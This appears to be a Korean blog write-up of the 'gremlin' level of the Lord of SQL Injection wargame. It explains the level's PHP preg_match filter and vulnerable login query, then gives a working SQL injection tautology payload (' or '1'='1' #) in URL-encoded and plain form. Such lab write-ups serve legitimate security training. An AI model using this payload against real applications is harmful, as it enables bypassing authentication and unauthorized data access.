본문 바로가기

WarGame/Web

[Lord of SQL injection] gremlin



소스코드 분석


preg_match 함수사용

if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

preg_match 함수는 매치된 횟수를 반환을 하는데, 매치가 된 문자가 있으면 1 없으면 0 을 반환하는데, 처음 매치가 이루어 지면 검색을 중지하기 때문

prob _ . () 이런 문자들이 id에서 발견되면 No Hack ~_~ 이 출력된다.

PW도 마찬가지

구분자 뒤의 "i"가 있으면 대소문자를 구별하지 않음


$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

이결과값을 참으로만 만들면 

if($result['id']) solve("gremlin") 풀림



?id=%27%20or%20%271%27=%271%27%23

'or '1'='1' # 


'WarGame > Web' 카테고리의 다른 글

[Lord of SQL injection] darkelf  (0) 2017.05.25
[Lord of SQL injection] wolfman  (0) 2017.05.24
[Lord of SQL injection] orc  (0) 2017.05.24
[Lord of SQL injection] goblin  (0) 2017.05.24
[Lord of SQL injection] cobolt  (0) 2017.05.23